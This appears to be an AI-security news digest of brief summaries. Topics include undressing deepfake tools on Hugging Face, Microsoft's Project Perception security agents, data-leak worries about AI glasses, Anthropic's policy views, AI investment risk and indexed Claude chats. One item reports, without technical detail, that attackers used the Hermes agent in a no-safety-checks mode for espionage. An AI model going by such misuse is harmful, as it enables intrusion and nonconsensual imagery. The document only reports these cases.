AI Sec Watch

Hugging Face, an open-source AI platform hosting AI models and datasets, has a widespread problem with nonconsensual deepfake nudes, according to research by AI Forensics. Researchers found that seven out of nine tested image editing tools on the platform could easily remove clothes from photos, and over 73 percent of user requests to honeypot (fake decoy) spaces were sexual in nature, with 83 percent seeking to undress or sexualize women without consent. The platform's content policies prohibit such deepfakes, but researchers found no safety mechanisms (called guardrails, which are filters to block harmful outputs) actually implemented at the platform level to prevent this misuse.

Microsoft announced Project Perception, an AI-powered security service that uses multiple specialized AI agents (red team, blue team, and green team agents) to automatically find vulnerabilities, simulate attacks, detect threats, and develop fixes in an organization's systems. The service uses a multi-model approach (selecting different AI models based on which works best for each task) and includes Microsoft's custom model MAI-Cyber-1-Flash, which outperforms competitors' models while costing nearly half as much.

Samsung and other major tech companies are releasing AI-powered glasses, forcing corporate security leaders (CISOs, or Chief Information Security Officers) to worry about data leakage and privacy risks. However, enforcing restrictions on these devices is nearly impossible because they look like regular eyeglasses, employees can disable their recording indicator lights, and IT departments cannot monitor what workers wear at home or in hybrid work settings.

Samsung's AI-powered glasses are creating security concerns for businesses because they can easily capture sensitive data (like screens or conversations) without being noticed, and IT teams struggle to enforce policies against them. The core challenge is that these devices look like regular glasses, making them nearly impossible to ban or detect in offices or remote work settings, while settings meant to limit data use may not actually be enforced by the AI devices themselves.

Attackers used Hermes, an autonomous open source tool that can operate in unrestricted "YOLO mode" (a setting where it runs without safety checks), to conduct espionage against Thailand's Ministry of Finance. The attack demonstrates how AI agents designed to act independently can be misused for cyber attacks when their safety restrictions are disabled.

Microsoft announced a new AI model called MAI-Cyber-1-Flash designed to detect cybersecurity vulnerabilities (weaknesses in software that attackers could exploit), claiming it outperforms competitors' models while costing 50% less. The model will be part of Project Perception, a collection of AI agents for finding and fixing vulnerabilities, becoming available in public preview on August 3, 2026.

Anthropic CEO Dario Amodei stated that his company does not advocate for banning open-weight models (AI models that users can download and run themselves), pushing back against criticism that Anthropic wants to control AI's future. Instead, Amodei proposed focusing on restricting access to powerful computing chips in authoritarian countries, stopping distillation attacks (where smaller AI models are created by copying outputs from larger, existing models), and requiring safety testing for all sufficiently capable models regardless of whether they are open or closed.

Financial analyst Jim Cramer warns that the current wave of AI investment, where chipmaker Nvidia is investing heavily in its own customers like OpenAI and guaranteeing financing for their projects, mirrors the risky lending practices that fueled the dot-com bubble (the late 1990s tech industry collapse). He cautions that if these AI companies cannot eventually pay for the expensive chips they're buying, Nvidia and other investors could face major losses, similar to what happened when telecom equipment makers financed their customers' purchases in 2000.

Hundreds of user conversations with Claude, Anthropic's AI chatbot, were accidentally made publicly searchable on Google and other search engines because users who chose to share chat links did not realize search engines would index them. The shared chats contained sensitive information like personal details, work projects, and healthcare research, though Anthropic stated that sharing links makes content publicly accessible and that the search visibility was removed over the weekend.